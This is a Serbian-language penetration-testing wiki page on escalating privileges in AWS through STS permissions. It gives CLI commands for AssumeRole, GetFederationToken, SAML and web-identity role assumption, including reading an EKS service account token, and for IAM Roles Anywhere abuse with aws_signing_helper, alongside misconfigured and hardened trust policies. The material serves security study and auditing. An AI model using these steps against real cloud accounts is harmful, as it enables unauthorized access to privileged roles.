# AWS - STS Privesc

{{#include ../../../banners/hacktricks-training.md}}

## STS

### `sts:AssumeRole`

Svaka uloga se kreira sa **politikom poverenja uloge**, ova politika označava **ko može da preuzme kreiranu ulogu**. Ako uloga iz **iste račun** kaže da neki račun može da je preuzme, to znači da će taj račun moći da pristupi ulozi (i potencijalno **privesc**).

Na primer, sledeća politika poverenja uloge označava da bilo ko može da je preuzme, stoga **bilo koji korisnik će moći da privesc** na dozvole povezane sa tom ulogom.
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}
```
Možete se pretvarati da ste uloga koja se izvršava:
```bash
aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname
```
**Potential Impact:** Privesc do uloge.

> [!CAUTION]
> Imajte na umu da u ovom slučaju dozvola `sts:AssumeRole` treba da bude **naznačena u ulozi koju treba zloupotrebiti** i ne u politici koja pripada napadaču.\
> Sa jednim izuzetkom, da bi se **preuzela uloga iz drugog naloga** napadačev nalog **takođe treba** da ima **`sts:AssumeRole`** nad ulogom.

### **`sts:GetFederationToken`**

Sa ovom dozvolom moguće je generisati akreditive za impersonaciju bilo kog korisnika:
```bash
aws sts get-federation-token --name <username>
```
Ovo je kako se ova dozvola može dati sigurno bez davanja pristupa za imitaciju drugih korisnika:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": "sts:GetFederationToken",
"Resource": "arn:aws:sts::947247140022:federated-user/${aws:username}"
}
]
}
```
### `sts:AssumeRoleWithSAML`

Politika poverenja sa ovom ulogom omogućava **korisnicima koji su autentifikovani putem SAML da se pretvaraju da su uloga.**

Primer politike poverenja sa ovom dozvolom je:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "OneLogin",
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin"
},
"Action": "sts:AssumeRoleWithSAML",
"Condition": {
"StringEquals": {
"SAML:aud": "https://signin.aws.amazon.com/saml"
}
}
}
]
}
```
Da biste generisali akreditive za impersonaciju uloge, mogli biste koristiti nešto poput:
```bash
aws sts  assume-role-with-saml --role-arn <value> --principal-arn <value>
```
Ali **provajderi** mogu imati **svoje alate** kako bi to olakšali, poput [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role):
```bash
onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600
```
**Potencijalni uticaj:** Privesc na ulogu.

### `sts:AssumeRoleWithWebIdentity`

Ova dozvola omogućava dobijanje skupa privremenih bezbednosnih kredencijala za **korisnike koji su autentifikovani u mobilnoj, web aplikaciji, EKS...** sa provajderom web identiteta. [Saznajte više ovde.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html)

Na primer, ako **EKS servisni nalog** treba da može da **imitira IAM ulogu**, imaće token u **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** i može **da preuzme ulogu i dobije kredencijale** radeći nešto poput:
```bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/<role_name> --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
# The role name can be found in the metadata of the configuration of the pod
```
### Federation Abuse

{{#ref}}
../aws-basic-information/aws-federation-abuse.md
{{#endref}}

### IAM Roles Anywhere Privesc

AWS IAM RolesAnywhere omogućava radnim opterećenjima van AWS-a da preuzmu IAM uloge koristeći X.509 sertifikate. Međutim, kada politike poverenja nisu pravilno definisane, mogu se zloupotrebiti za eskalaciju privilegija.

Ova politika nema ograničenja o tome koji su trust anchor ili atributi sertifikata dozvoljeni. Kao rezultat, svaki sertifikat povezan sa bilo kojim trust anchor u nalogu može se koristiti za preuzimanje ove uloge.
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "rolesanywhere.amazonaws.com"
},
"Action": [
"sts:AssumeRole",
"sts:SetSourceIdentity",
"sts:TagSession"
]
}
]
}

```
Za privesc, `aws_signing_helper` je potreban sa https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html

Zatim, koristeći važeći sertifikat, napadač može preći u ulogu sa višim privilegijama.
```bash
aws_signing_helper credential-process \
--certificate readonly.pem \
--private-key readonly.key \
--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \
--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \
--role-arn arn:aws:iam::123456789012:role/Admin
```
### References

- [https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation](https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation)

{{#include ../../../banners/hacktricks-training.md}}
